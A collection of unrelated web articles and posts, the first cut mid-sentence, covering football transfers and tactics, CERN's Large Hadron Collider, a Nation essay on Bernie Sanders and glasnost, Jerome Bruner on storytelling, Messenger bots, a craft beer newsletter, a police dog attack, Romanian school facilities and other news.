on last term’s experience of nearly winning the title, and will have a fresher Steven Gerrard following the captain’s retirement from England duty.  With less than a month of the window remaining, Van Gaal has brought in only Luke Shaw and Ander Herrera and each of these were identified by Moyes, before being signed off by the Dutchman. Van Gaal has yet to add one of “his” players to boost options and only the attackers in the potential starting XI convince.  Juan Mata, as the No10, and the strikers Robin van Persie and Wayne Rooney (with Danny Welbeck a deputy), in Van Gaal’s proposed 3-4-1-2 (or 5-2-1-2) system are high-class operators. Yet even here there are issues. Shinji Kagawa may be an obvious and worthy competition to Mata yet Van Gaal is unsure regarding the Japanese player and has already mentioned he wanted to “try him as a No6 or No8”.  While Rooney is a natural No10 so can perform there, how fit will Van Persie be throughout the season? Perhaps his close relationship with Van Gaal will have the same effect Van Persie’s respect for Sir Alex Ferguson did in his first United campaign and the forward can remain available more often than not. A counter argument runs that having turned 31 last week and following a long summer captaining Holland to third place at Brazil 2014, Van Persie – and United – may have already enjoyed the best of his career.  Darren Fletcher in action during United’s pre-season tour. Photograph: Mlive.com/Landov/Barcroft Med  But it is in midfield and defence were the alarm bells really ring. This is a two-pronged issue of weak resources and Van Gaal’s decision – yet to be fully explained – to switch to the new formation, which the manager admits “is not easy”. Darren Fletcher’s fine form on the tour of America will have played the Scot into Van Gaal’s thoughts as a worthy squad member but an elite midfielder is still required. Michael Carrick is absent for another 10 weeks due to an ankle injury and Marouane Fellaini is for sale – Napoli are suitors – so Fletcher joins Herrera and Tom Cleverley as the only frontline operators.  Regarding Herrera, 24, Fletcher says: “He’s been fantastic. He has great energy and enthusiasm, his English is quite good, and [he] is a good lad who has settled in really well. He’s a humble kid who wants to learn, but he is going to be a really good player.” Herrera has yet to convince. A good first half in the tour opener against LA Galaxy in Pasadena was followed by three disappointing ones against Roma, Internazionale and Real Madrid.  Cleverley remains an enigma whose career – and progress – has stalled yet is needed because Woodward is again finding it difficult to recruit stellar names. It must surely worry the executive that last summer’s transfer farrago occurred while being able to offer Champions League football. Now, Woodward cannot.  The question marks over midfield are mirrored in central defence and at wing-back where the manager seems to have the most doubt, despite plumping for the new shape himself. Patrice Evra, Nemanja Vidic and Rio Ferdinand all left in the close season and though each were waning forces they are still three senior defenders – and dressing room influences – that are yet to be replaced.  Of the rearguard, which is a five-man affair when teams come at United that features three centre-backs and two wingbacks, the manager admits: “The greatest impact with this system is on the back line. It’s amazing that they have picked up a new system like that, because it’s not new for Mata, for example, he [still] plays in his position. Neither for Rooney, Welbeck, nor the two midfielders.”  Wayne Rooney and Tom Cleverley. Photograph: Adam Holt/Action Images  Whether Ashley Young, Antonio Valencia, the injured Rafael da Silva and Shaw can be effective operators as wing-backs remains to be seen. So far Van Gaal seems content though he mentioned more than once in the US that if results go south a rethink will occur. In Young and Valencia the Dutchman is asking attacking players to become defenders – though the Ecuadorian has filled in as a right-back on occasion – and demanding the opposite of Da Silva and Shaw.  As the sight of full-backs in the modern game bombing forward is hardly a novelty, Da Silva and Shaw may have an easier task than Young and Valencia. Yet the newly arrived Shaw is being put on a pretty steep learning curve as a 19-year-old who is also adjusting to life at the world’s biggest club.  Young is enthusiastic about the challenge, saying: “If you look at the performance overall and all the displays we’ve put on during the tour things have gone well. It’s a new system and a new way to play but everyone has to adapt it and understands the manager’s philosophy. The formation gives us more time to play and more space and we’re all enjoying it.”  There are further issues at centre-back. Van Gaal’s chosen system requires at least five to mediate against injury and loss of form. At the moment, he has only three, in Jonny Evans, the injured Chris Smalling and Phil Jones. With Van Gaal declaring the young defenders Tyler Blackett and Michael Keane not yet mature enough to put in consistent first-team displays, he must search outside the club.  Thomas Vermaelen’s proposed move did not happen and whether Borussia Dortmund’s Mats Hummels, the manager’s No1 target in the position, joins before 1 September is one part of the big question regarding how United fare when they start on 16 August: can Van Gaal strengthen enough to elevate United?  If not, it could be a wearying season.
-GENEVA (Reuters) - Tests have cleared the way for the start-up next month of an experiment to restage a mini-version underground of the “Big Bang” which created the universe 15 billion years ago, the project chief said on Monday.  In this artist's impression provided by the journal Science, swirling clouds of hydrogen and helium gases are illuminated by the first starlight to shine in the universe after the Big Bang. REUTERS/David Aguilar (CfA)/Handout  Lyn Evans of the European Organisation for Nuclear Research (CERN) said weekend trials in the vast underground LHC machine in which the particle-smashing experiment will take place over the coming months and years “went without a hitch”.  “We look forward to a resounding success when we make our first attempt to send a beam all the way round the LHC,” said Evans, who heads the multinational team of scientists that shaped the project and the machine, the Large Hadron Collider.  The final tests involved pumping a single bunch of energy particles from the project’s accelerator into the 27-km (17-mile) beam pipe of the collider and steering them counter- clockwise around it for about 3 kms (2 miles).  Earlier in the month a clockwise trial in the LHC — which runs deep under French and Swiss territory between the Jura mountains and Lake Geneva — had been equally successful, CERN said.  The LHC team now plans to send a full particle beam all the way around the collider pipe in one direction on September 10 as a prelude to sending beams in both directions and smashing them together later in the year.  That collision, in which both particle clusters will be traveling at the speed of light, will be monitored on computers at CERN and laboratories around the world by scientists looking for, among other things, a particle that made life possible.  The elusive particle, which has been dubbed the “Higgs boson” after Scottish physicist Peter Higgs who first postulated nearly 50 years ago that it must exist, is thought to be the mysterious factor that holds matter together.  Recreating a “Big Bang,” which most scientists believe is the only explanation of an expanding universe, ought to show how stars and planets came together out of the primeval chaos that followed, the CERN team believes.  Efforts to track it down in a predecessor to the LHC at CERN, and in another experiment in the United States, failed. But scientists are confident that the vast leap in technologies represented by the LHC will make the difference.  Higgs, a 79-year-old Edinburgh University professor who as an atheist angrily rejects the idea of calling the boson the “God particle” — believes it will show up very quickly once the beams are colliding in the LHC.  “If it doesn’t,” he said during a visit to CERN earlier this year, “I shall be very, very puzzled.”
-Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.  Thank you for signing up. For more from The Nation, check out our latest issue  Subscribe now for as little as $2 a month!  Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter.  Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week.  Thank you for signing up. For more from The Nation, check out our latest issue  Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits.  Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine?  In November of 1989, as the citizens of East Germany broke through, and then demolished, the Berlin Wall, a 48-year-old socialist in the United States was plotting his next move. After losing a campaign for Vermont’s lone congressional seat in 1988, and choosing not to run for re-election as mayor of Burlington, Vermont, the following year, Bernie Sanders sought shelter, as so many newly unofficed politicians had before him and have since, at Harvard University’s Kennedy School of Government, where he taught a course on third-party politics. The Sanders family settled into a mellow Cambridge routine: While his wife, Jane, took some courses at Harvard, and their children attended the Cambridge public schools, Sanders recalls in his recently reissued 1998 memoir, Outsider in the House, “I went to more football games that fall than I had in 20 years, and became addicted to the cinnamon raisin buns at Au Bon Pain at Harvard Square.” Ad Policy  But the former mayor wasn’t just cooling his heels. In an op-ed he wrote for The Harvard Crimson that month, Sanders wrote that watching the dramatic events unfolding abroad—“glasnost; perestroika; free speech; open parliamentary debate televised before millions of viewers; the beginning of organized political opposition to the Communist Party; mass strikes and demonstrations by workers and ethnic minorities; serious publications dealing honestly with the nation’s sordid history which had been covered up for decades by officials lies”—prompted him to consider the need for something similar to happen at home.  Probably because his first name is given in the byline as Bernard, rather than Bernie, the piece has not resurfaced since Sanders announced his presidential campaign. That is unfortunate, because the article suggests a salient metaphor for what his campaign could mean for this country, and what our failure to take advantage of it might augur.  “In my view the time is now for a glasnost in the United States,” Sanders wrote, “a soul searching for our own basic truths, a major debate over our current values, an honest analysis of the real structure of our society and the creation of a mechanism to search out our dreams for the future.”  Glasnost is usually translated into English as “openness,” but Sanders’s description of a collective, society-wide “soul searching” is much closer to the mark. While perestroika (“restructuring”) referred to a series of institutional political and economic transformations that Soviet leader Mikhail Gorbachev proposed in the late 1980s, glasnost became a signifier for the widespread loosening of censorship rules, travel restrictions, and government secrecy, which ultimately played a role in the end of the Cold War and of the Soviet Union.  Glasnost, as Soviet leader Mikhail Gorbachev conceived it, was intended to promote a vigorous public debate about the serious problems plaguing society, to expose and disempower corrupt and ineffectual functionaries (the universally derided “apparatchiks”), and to make the government more responsive to the people. In his Harvard Crimson article, Sanders made explicit his belief that glasnost was synonymous with what he now calls “political revolution.”  “Enormous credit must be given to Mikhail Gorbachev and the current leadership of the Soviet Union,” Sanders wrote, “for helping to bring about an extraordinary, non-violent revolution which is forcing citizens of the Soviet Union to rethink, in almost every way, the basic foundations of their nation.”  Without glasnost, Gorbachev believed, there could be no perestroika; without a popular outpouring of anger and dissent, the powerful and the privileged, those who profited from the status quo, would continue to block the thoroughgoing systemic reforms he had proposed. Similarly, Sanders acknowledges that the sweeping political changes necessary for making the United States a more just and equal nation are impossible—he is, indeed, that much-abused word, “unelectable”—without a groundswell of support among the marginalized and the disillusioned. “In my view the time is now for a glasnost in the United States,” Sanders wrote.  With increasing access to the outside world, Soviet citizens in the 1980s became aware of how profoundly their government was failing them. Throughout his campaign, Sanders has broken the taboo against politicians telling Americans how far they lag behind other developed countries in terms of providing education, healthcare, and employment benefits—indeed, in general satisfaction with life.  Under glasnost, Soviet citizens were permitted for the first time to openly discuss and acknowledge the darker episodes in the country’s past; similarly, it was refreshing to hear a leading candidate for the presidency of the United States acknowledge in October that the country was “founded…from way back, on racist principles.”  In the Harvard Crimson piece, Sanders suggested “four issues (out of many) at the heart of our existence as a nation which, within the context of an American Glasnost…need to be discussed vigorously…wherever Americans come together.” These are the four questions he raised:  Do we need radical changes in our economic system to provide a fairer distribution of wealth and economic decision-making?  How do we create a real democracy in which the average citizen has the opportunity to vote in elections in which meaningful choices are presented? Further, how do we create a political climate in which citizens play an active role in the affairs of their community?  Do we need a new political party in this country which represents the interests of working people, poor people, minorities, women, environmentalists, peace activists and all people who are not being adequately represented by the Democratic and Republican parties?  How can we create a media in this country which allows for a wide diversity of viewpoints, when ownership of the media is currently in the hands of very wealthy and powerful corporations which are primarily concerned with protecting their own economic interests?  With the not-insignificant exception of the third, these are the same questions that Sanders is raising today. Help The Nation raise $200,000 by 12/31! Your gift will be matched! Donate Today  Obviously, before glasnost, political discussion in the Soviet Union was much more restricted than it is in the United States today. Yet, as Sanders noted in the 1989 op-ed, the absence of overt censorship does not mean that the most fundamental issues are debated in the mainstream media with the seriousness they demand. “If the citizens of our country believe that this nation does not exist under the blanket of the Big Lie,” he wrote, “they are sorely mistaken. We are told every day by the politicians and the media how ‘free’ we are. Unfortunately, we are not given the freedom to explore that assertion. We need a glasnost!”  To some extent, Bernie Sanders’s presidential campaign has already prompted the “soul searching” he called for more than a quarter-century ago. But if the glasnost he represents is not followed by the serious structural reforms he says we need, might our Union meet the same fate as the other?
-“Stories,” Neil Gaiman asserted in his wonderful lecture on what makes stories last, “are genuinely symbiotic organisms that we live with, that allow human beings to advance.” But what is the natural selection of these organisms — what makes the ones that endure fit for survival? What, in other words, makes a great story?  That’s what the great Harvard psychologist Jerome Bruner (October 1, 1915–June 6, 2016), who revolutionized cognitive psychology and pioneered the modern study of creativity in the 1960s, explores in his 1986 essay collection Actual Minds, Possible Worlds (public library).  In an immensely insightful piece titled “Two Modes of Thought,” Bruner writes:  There are two modes of cognitive functioning, two modes of thought, each providing distinctive ways of ordering experience, of constructing reality. The two (though complementary) are irreducible to one another. Efforts to reduce one mode to the other or to ignore one at the expense of the other inevitably fail to capture the rich diversity of thought. Each of the ways of knowing, moreover, has operating principles of its own and its own criteria of well-formedness. They differ radically in their procedures for verification. A good story and a well-formed argument are different natural kinds. Both can be used as means for convincing another. Yet what they convince of is fundamentally different: arguments convince one of their truth, stories of their lifelikeness. The one verifies by eventual appeal to procedures for establishing formal and empirical proof. The other establishes not truth but verisimilitude. […] A story (allegedly true or allegedly fictional) is judged for its goodness as a story by criteria that are of a different kind from those used to judge a logical argument as adequate or correct.  Bruner notes that the Western scientific and philosophical worldview has been largely concerned with the question of how to know truth, whereas storytellers are concerned with the question of how to endow experience with meaning — a dichotomy Hannah Arendt addressed brilliantly more than a decade earlier in her 1973 Gifford Lecture on thinking vs. knowing and the crucial difference between truth and meaning. One could go even further and argue, after Walter Benjamin, that the product of the analytical mode is information, whereas the product of storytelling is wisdom.  Bruner calls these two contrasting modes the paradigmatic or logico-scientific, characterized by a mathematical framework of analysis and explanation, and the narrative. Each, he argues, is animated by a different kind of imagination:  The imaginative application of the paradigmatic mode leads to good theory, tight analysis, logical proof, sound argument, and empirical discovery guided by reasoned hypothesis. But paradigmatic “imagination” (or intuition) is not the same as the imagination of the novelist or poet. Rather, it is the ability to see possible formal connections before one is able to prove them in any formal way. The imaginative application of the narrative mode leads instead to good stories, gripping drama, believable (though not necessarily “true”) historical accounts. It deals in human or human-like intention and action and the vicissitudes and consequences that mark their course. It strives to put its timeless miracles into the particulars of experience, and to locate the experience in time and place. […] In contrast to our vast knowledge of how science and logical reasoning proceed, we know precious little in any formal sense about how to make good stories. Perhaps one of the reasons for this is that story must construct two landscapes simultaneously. One is the landscape of action, where the constituents are the arguments of action: agent, intention or goal, situation, instrument, something corresponding to a “story grammar.” The other landscape is the landscape of consciousness: what those involved in the action know, think, or feel, or do not know, think, or feel.  Bruner considers the singular landscape of narrative:  Narrative deals with the vicissitudes of human intentions. And since there are myriad intentions and endless ways for them to run into trouble — or so it would seem — there should be endless kinds of stories. But, surprisingly, this seems not to be the case. […] We would do well with as loose fitting a constraint as we can manage concerning what a story must “be” to be a story. And the one that strikes me as most serviceable is the one with which we began: narrative deals with the vicissitudes of intention.  But this matter of intention remains forever mediated by the reader’s interpretation. What young Sylvia Plath observed of poetry — “Once a poem is made available to the public,” she told her mother, “the right of interpretation belongs to the reader.” — is true of all art and storytelling, whatever the medium. Bruner considers how the psychology of this interpretation factors into the question of what makes a great story:  It will always be a moot question whether and how well a reader’s interpretation “maps” on an actual story, does justice to the writer’s intention in telling the story, or conforms to the repertory of a culture. But in any case, the author’s act of creating a narrative of a particular kind and in a particular form is not to evoke a standard reaction but to recruit whatever is most appropriate and emotionally lively in the reader’s repertory. So “great” storytelling, inevitably, is about compelling human plights that are “accessible” to readers. But at the same time, the plights must be set forth with sufficient subjunctivity to allow them to be rewritten by the reader, rewritten so as to allow play for the reader’s imagination. One cannot hope to “explain” the processes involved in such rewriting in any but an interpretive way, surely no more precisely, say, than an anthropologist “explains” what the Balinese cockfight means to those who bet on it… All that one can hope for is to interpret a reader’s interpretation in as detailed and rich a way as psychologically possible.  This essential “subjunctivity” is the act of designating a mood for the story. “To be in the subjunctive mode,” Bruner explains, means “to be trafficking in human possibilities rather than in settled certainties.” Out of this drive toward unsettled possibilities arises the ultimate question of “how a reader makes a strange text his own,” a question of “assimilating strange tales into the familiar dramas of our own lives, even more than transmuting our own dramas in the process” — something Bruner illustrates brilliantly with an exchange between Marco Polo and Kublai Khan from Italo Calvino’s masterwork Invisible Cities, which takes place after Marco Polo describes a bridge stone by stone:  “But which is the stone that supports the bridge?” Kublai Khan asks. “The bridge is not supported by one stone or another,” Marco answers, “but by the line of the arch that they form.” Kublai Khan remains silent, reflecting. Then he adds: “Why do you speak to me of the stones? It is only the arch that matters to me.” Polo answers: “Without stones there is no arch.”  Bruner extracts from this an allegory of the key to great storytelling:  But still, it is not quite the arch. It is, rather, what arches are for in all the senses in which an arch is for something — for their beautiful form, for the chasms they safely bridge, for coming out on the other side of crossings, for a chance to see oneself reflected upside down yet right side up. So a reader goes from stones to arches to the significance of arches is some broader reality — goes back and forth between them in attempting finally to construct a sense of the story, its form, its meaning. As our readers read, as they begin to construct a virtual text of their own, it is as if they were embarking on a journey without maps — and yet, they possess a stock of maps that might give hints, and besides, they know a lot about journeys and about mapmaking. First impressions of the new terrain are, of course, based on older journeys already taken. In time, the new journey becomes a thing in itself, however much its initial shape was borrowed from the past. The virtual text becomes a story of its own, its very strangeness only a contrast with the reader’s sense of the ordinary. The fictional landscape, finally, must be given a “reality” of its own — the ontological step. It is then that the reader asks that crucial interpretive question, “What’s it all about?” But what “it” is, of course, is not the actual text — however great its literary power — but the text that the reader has constructed under its sway. And that is why the actual text needs the subjunctivity that makes it possible for a reader to create a world of his own.  Bruner concurs with Barthes’s conviction that the writer’s greatest gift to the reader is to help her become a writer, then revises it to clarify and amplify its ambition:  The great writer’s gift to a reader is to make him a better writer.  Actual Minds, Possible Worlds is a remarkable read in its totality, exploring the psychological realities of language, thought and emotion, and the self. Complement this particular portion with Susan Sontag on the task of storytelling, Oliver Sacks on its curious psychology, and Martha Nussbaum on how it remaps our interior lives, then revisit Bruner on creative wholeness, art as a mode of knowing, and the six essential conditions for creativity.
-Messenger has 900 million monthly active users, says Zuckerberg, and it's also the second most popular app on iOS globally. Further, there are 50 million businesses on it and over 1 billion messages sent every month. Head of Messenger David Marcus announced that the beta version of Messenger Platform is going live today so that developers can get started on creating bots for the chat app. Devs can incorporate "special bubbles" in Messenger that have unique images, buttons or calls to action.  Marcus showed a demo of a spring shopping app that guided him through buying a pair of shoes, where he could pick out the kinds of shoes and even get an order-confirmation update. He also showed off a Poncho weather bot that gives humorous conversational-style updates on the weather. Importantly, he pointed out that users can block messages from bots anytime they want if they've had enough. This is especially important given that Facebook is experimenting with allowing sponsored messages from a small number of businesses -- you're able to mute and block messages you don't want to receive.  How do you find out about these bots? Well, Messenger will now have a persistent search bar at the top of the app. Also when you have your cursor in the search field, Messenger will auto-populate several bot suggestions based on your preferences or what it thinks you might like.  What's even more interesting is that along with this new Platform, Messenger is also leveraging its learnings from M, its' AI-powered personal assistant. Developers will now have access to the same wit.ai bot engine that powers M, hence allowing for more complex conversations beyond just the usual phone tree chatter.
-Karben4 Kraziness, Fresh Releases, and More!  Wednesday, October 22th 2014 Dear Ray's Craft Beer Lovers, It's going to be a great week in the Ray-borhood! Karben4 is coming to town this Saturday to show off their new, Growler Gallery proprietary IPA called RAY-ley's Comet, CT Melm's will be stopping by this Thursday (tomorrow!) for a meet and greet in the Gallery, and if that's not enough a whole slew of seasonal gems are popping up daily downstairs! There's lots of good stuff packed into this week's newsletter, so lets just jump in!  Cheers, -Kaleb, Uncle Ray & the Gang PS: As I'm writing the newsletter this morning, a BUNCH of great beer just got delivered, so swing by Facebook and Twitter later to see all the goodies! Things in this Newsletter: Weyerbacher Imperial Pumpkin 3 Sheeps Harvest Ale Destihl Here Gose Nothing Goings on in the Growler Gallery Save the Dates! Weyerbacher Imperial Pumpkin  It's that time of year and pumpkin beers are everywhere. But with a whole plethora to choose from, which one should you use to celebrate the season? I personally tend to gravitate towards the big, rich, and hearty pumpkin brews with a serious spice component to them. And this one definitely fits the bill. Weyerbabcher's Imperial Pumpkin Ale clocks in at over 8% ABV (but it is well hidden) and is layered with luscious malts and rich spices. It pours out a burnt umber color and is capped off by a pillowy, white head that settles, leaving behind light lacing. The aroma is predominantly of spice and chewy caramel with a hint of baked pumpkin. It starts off with a strong ale flavor and malty sweetness that transitions into a spicy mid-palate of cinnamon, nutmeg, and cloves. The spices follow through into the finish and are backed by a light presence of baked pumpkin. It finishes dry, but with enough pumpkin pie spice to keep you coming back for more. 3 Sheeps Harvest Ale  This beer has three good things going for it: it is fresh, Fresh, FRESH! Oh, and the fresh hops came from a local farm, so I guess that's four good things! And when I say fresh, I mean it. Bottles were just delivered this morning at 9:28am after being shipped down from the brewery. Not only are the bottles fresh, but what went into the bottles was super fresh as well! When I was chatting with James and Grant from the brewery, they talked about how they got the centennial hops for this beer from a local farm and tossed them into the beer within 24 hours of harvesting! The beer is rich amber in color with an off-white head and light lacing. Its aroma is bready and biscuity with a healthy heaping of hops that are grassy, piney, and slightly citrusy. The hefty malt backbone supports the hops with enough sweetness to balance out the bitterness. This beer drinks beautifully and is another solid release from the boys up in Sheboygan! #freshisbest Destihl's Wild Sour 'Here Gose Nothing'  When we received this beer last week we didn't exactly know what we were getting ourselves into. We knew that Destihl crafts world-class sours, but haven't had a chance to try any of them because they've never made it north of the Illinois border before. So when this bright green can rolled in off the truck, all of the beer dudes immediately swarmed into the back room and cracked into a can. Oh. My. I'm a sucker for a good sour and this one blew me away. This is the first offering in the "Wild Sour Series" called "Here Gose Nothing". It was brewed in the style of a Leipzig Gose that incorporates salt and coriander to craft this old-world style sour. The aroma is beautifully tart with zested lemons and backed by a subtle herbal quality from the coriander. It drinks clean and crisp with a full mouthfeel, which benefits from an addition of oats (the traditional gose is made with at least 50% wheat in the malt bill, but I'm not sure what went into this one). There is a nice minerality mid-palate from the salt that is quickly squeegee'd off of the tongue by sharp acidity. It is so thirst quenching and refreshing that I think I found my new favorite summer beer... and fall beer... and winter beer... Who am I kidding, this is going to be one of my year-round fridge staples. This is just the first release in a series of some great sours. So keep on the look out for these other colorful cans! Goings on in Ray's Growler Gallery LLC www.raysgrowlergallery.com  Get your fresh news about the freshest beer! C.T. Melms Meet and Greet Thursday, October 23rd from 5-8ish  Milwaukee's oldest brewery is back and they are coming to Ray's Growler Gallery to show off their first two beers! This Milwaukee legend (you can read up on all the history here ) is being revived by a bunch of beer loving dudes, including local legend and homebrewing hero Brian Joas. Many of you will know Brian from his involvement with Beer Barons or his course for the Beer Judge Certification Program (being a Grand Master Judge himself means he knows a lil' bit about beer).  Their two current releases, Walker's Point Wheat and Czech Mate Imperial Pale Lager, have been fan favorites in the Gallery. Brian will be here, showing off these first two creations and answering any burning questions you might have about beer, brewing, or the history of beer in Milwaukee.  So drink local. Love Wisconsin beer. And support the resurgence of Milwaukee craft!  Pints and flights will also be available! So come and hang out and enjoy a bunch of great brews with like-minded beer lovers! Karben4 RAY-ley's Comet IPA Unveiling Saturday, October 25th (this Saturday) starting at 11am  Karben4 already crafts one of the best IPAs in the state with their Fantasy Factory, but they just took their hop game to the next level! They crafted a new batch of an IPA that features the new, experimental hop 'Comet'! To celebrate this beautiful, bitter brew, the folks from Karben4 are going to come out to the Gallery and kick things off in grand fashion! So come grab some great Karben4 brews and meet the dudes who crafted your new favorite IPA! Cheers, and see you there!  For the full draft list and pricing for the Karben4 event, please visit www.raysgrowlergallery.com on the day of. Save the Date! These are two days that you definitely want to mark on your calendar! An Unmissable Beer Dinner  Hosted by Kyle Cherek at The Rumpus Room  Wednesday, November 5th at 6:30pm  Once an understated source of beer and comfort food, gastropubs have become a national dining trend. Join Kyle Cherek, host of Wisconsin Foodie, for a dynamic evening of food and stories, tracing how a London pub and a handful of progressive young chefs turned simple, British pub cooking on its ear and inspired a dining trend so popular it bridged the Atlantic. Enjoy a delicious four-course dinner by Executive Chef Guy Davies, complete with beer pairings at The Rumpus Room, one of Milwaukee's foremost gastropubs.  or  Visit the Website Here To reserve your seat please call: 414.292.0100or Solemn Oath Gallery Gala and Halloween Party! Save  10%  Off -Weyerbacher Imperial Pumpkin 4 Packs  -3 Sheeps Nimble Lips #4 Harvest Ale 22oz  -Destihl Here Gose Nothing 4 Packs Offer Expires: Wednesday, October 29th at 9pm Thanks again for subscribing to and reading Ray's craft beer newsletter. If you have any questions, comments, or suggestions, please feel free to email me at kaleb@rayswine.com.  Lastly, for up to the minute beer arrivals and release information, be sure to follow us on Twitter and Facebook.  Cheers!  Kaleb & the gang at Ray's
-Spread the love  “‘She wasn’t bitten, she was mauled.”  Cassandra Rules  July 22, 2014  Irene Collins, an elderly cancer patient of Middlesbrough has died over the weekend, after being attacked by an out of control Cleveland police K9 last Wednesday night.  The police had a heavy presence in her neighborhood that evening and were going door to door searching for an escaped alleged drug dealer.  Neighbors of the ill grandmother reportedly warned the officers she was frail and in bad condition. They went to her door to disturb her anyway.  The dog attacked the woman in her kitchen as she was leading the officers to her back yard.  One neighbor told the Daily Mail, ‘She wasn’t bitten, she was mauled. A relative told me the dog had punctured and broken her arm, ripped her other arm, and then managed to bite off her calf muscle after it had been restrained.’  The department has issued a statement saying:  “The police dog involved has been withdrawn from operational policing activities and support is being provided to the police officer who was handling the dog at the time of the event. We are committed to learning any lessons that may arise from the investigation and the daily use of police dogs remains operationally important in reducing crime and disorder and protecting the public. Our dogs are trained and licensed for use in accordance with national police guidance.”  This is why it is very important to never consent to a search, or let police into your home, even if you have done nothing wrong and have nothing to hide.  Please watch and share this video on how to handle police at your door, especially with any vulnerable loved ones you may have.
-Artist: Spheric Universe Experience  From: Nice, France  Song: "The New Eve"  Album: The New Eve  RIYL: Vanden Plas, Circus Maximus, Dream Theater  About the band:  The early beginning of 1999 Spheric Universe Experience began when guitarist Vince Benaim decided to create a progressive metal band with a few friends. In summer of 2004 S.U.E. signed a worldwide record deal with French label Replica Records. An American license was also inked with Nightmare Records. In 2007 S.U.E. released Anima , a strong follow up to their debut and saw the band at two ProgPower festivals. The band issued their third album, Unreal , in May 2009. S.U.E.'s upcoming album, The New Eve , finds the group taking yet another huge step forward creating one of the most compelling melodic prog-metal releases of 2012, bringing freshness again to the ever expanding genre.  Listen to 'The New Eve'  "This song is our way to mix "prog 'n' roll" riffs, SUE-style melodies and heavy sections, along with a special message about nowadays women," says the band about the track.  Spheric Universe Experience's fourth album, The New Eve , will hit stores on Sept. 11 via Nightmare Records. Pre-order the album on Amazon today!
-French Parliament (they, being French, spell it Parlement.)  Once again, libertarians miss the point. LewRockwell.com is complaining about the new surveillance law in France.  Unlike most Americans, who merely shrug at DC’s totalitarianism, France’s subjects vehemently condemn their government’s assault on freedom and privacy. And the worst insult they can hurl is to compare this legislation to–you guessed it–the USSA’s Patriot Act: “Pierre-Olivier Sur, the head of the Paris bar association” said that the bill will “put in place a sort of Patriot Act concerning the activities of each and everyone.”  Others compare the measure to that of another repressive regime: Russia. “‘The requirement that the Internet companies use the black boxes is a requirement that Russia has as well,’ said Cynthia Wong, a lawyer and senior Internet researcher at Human Rights Watch… . She was referring to the devices the [French] government plans to use to collect data from Internet companies.”  So there you have it. A country founded on the premise that “all men…are endowed by their Creator with certain inalienable rights” has become a byword for oppression and surveillance, even in socialist, bureaucratic France.
-Italian star Andrea Pirlo will sign with New York City FC of Major League Soccer next week, a source with knowledge of the deal told ESPN Deportes' Roberto Abramowitz.  The MLS expansion franchise plan to annouce the deal on either Wednesday or Thursday, the source said.  Pirlo, 36, will sign an 18-month contract with NYCFC, taking him through the 2016 season, with an additional option for 2017, according to the source.  The midfielder will being training with the team on July 21 and be eligible to make his debut on July 26 when NYCFC hosts fellow expansion side Orlando City at Yankee Stadium.  Pirlo has won the Serie A title with Juventus in all four of his seasons there after playing 10 years for AC Milan. He won the 2006 World Cup with Italy.  Earlier on Saturday, ESPN FC reported that it was only a matter of time before Pirlo put pen to paper on an MLS contract.  Andrea Pirlo will complete his move to Major League Soccer next week, a source tells ESPN.  He has one year left on his contract at Juventus but is very close to Bianconeri president Andrea Agnelli, who would not stand in Pirlo's way if he wanted to join MLS this summer, especially as the Italian champions have already signed Sami Khedira as a possible midfield replacement.  Pirlo will be NYCFC's third Designated Player. He'll join former Chelsea legend Frank Lampard in the midfield and give the club a trio of European stars with Spanish striker David Villa also on the books.  Pirlo attended the Yankees' Old-Timers' Day celebrations last Saturday before going on holiday in Miami.  Speaking on Thursday, MLS commissioner Don Garber was hesitant to confirm any pending deals when asked about Pirlo.  "I don't want to spend a lot of time talking about a player that I don't know will be here," Garber said.  "Clearly [Pirlo's] a world-class player who just played in the Champions League final. He's a legend. I'm not gonna worry about rating him or talking about him until he makes a decision and New York City makes a decision as to whether or not he's gonna be here."
-Ministry: A third of Romanian schools do not have indoor toilets  Around 30% of the schools in Romania do not have indoor toilets, according to an Education Ministry document outlining a strategy to modernize the local educational infrastructure.  The situation affects a total of 2,200 schools and over 230,000 students nationwide, Mediafax reported. The same document notes the difference between rural and urban areas in this respect: 38% of the schools in rural areas are confronted with this situation, compared to 7% of the schools in cities.  The absence of indoor toilets in schools is more frequent in the Moldova region of Romania, especially in the north-east counties of Vaslui and Botosani. Both counties are part of Romania’s North-East Development Region, which is also one of the five poorest in the European Union.  One in three students in the counties of Vaslui and Botosani do not have access to indoor toilets, while one in four have the same problem in the counties of Vrancea and Teleorman, in southern Romania.  At the same time, 56% of the students in Romania learn in overcrowded schools, even though in urban areas 46% of the schools have vacant places, according to Education Ministry data. A total of 10% of the educational units in the country are overcrowded, while 60% of them have unoccupied places.  Only 30% of local schools run at an adequate capacity. In urban areas, 14.5% of schools do not have enough places, compared to 8.8% in rural areas faced with this situation. High schools tend to be the most overcrowded, as 14% of them have an insufficient capacity in relation to the school population. Only 2.4% of the primary schools encounter this problem.  The Education Ministry warned that the quality of the school infrastructure impacts the students’ results.  The strategy on the modernization of the education infrastructure, covering the 2017-2023 period, is under public consultation until November 16.  editor@romania-insider.com
-Hi! Hi!  Today we are happy to share with you photos from recent PilsenKit exhibition. This time it was in a different place, so everyone was wondering how it will be. I can say that hall now is roomier and can fit more models with people. :) The only thing which might be improved - amount of sellers, because this time kits choice wasn't that big. Nevertheless, you are here for the photos, so enjoy.  Привет!  Сегодня мы рады поделиться с вами фото с прошедшей выставки PilsenKit. В этот раз она прошла в другом месте, поэтому каждому было интересно, как всё выйдет. Могу сказать, что помещение теперь более просторное и может вместить больше моделей с моделистами. :) Единственное, что хотелось бы улучшить - количество продавцов, потому что выбор моделей был небольшим. Тем не менее, вы явно пришли сюда за фото, поэтому не буду вас задерживать.  Не забудьте поставить лайк нашей странице Facebook, чтобы вовремя получать свежие статьи .
